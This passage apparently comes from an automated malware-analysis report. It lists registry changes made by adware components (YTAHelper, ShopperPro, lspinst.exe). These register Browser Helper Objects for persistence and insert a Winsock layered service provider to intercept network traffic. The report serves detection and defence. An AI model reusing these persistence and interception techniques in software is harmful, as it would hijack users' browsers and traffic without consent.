[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\WebProtectorPlus]
"SID" = "OTgxMw=="

[HKCU\Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "78 A2 C3 91 D5 7C D0 01"

[HKLM\SOFTWARE\WebProtectorPlus]
"Gid" = "9B747F14-BE29-4C4C-91EC-2A9AD83B6959"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process regsvr32.exe:4044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process regsvr32.exe:2988 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:3364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3936 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process lspinst.exe:1600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1022"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "KpKybWllh|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJIqJXaKx~w[p"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "19"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`aRLXEXtLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbN"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LIUkaRXT|SiWsfDH`LkAsXBDUCkC"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001B]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001C]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001A]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3212 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ`DvisWwj@pPX["

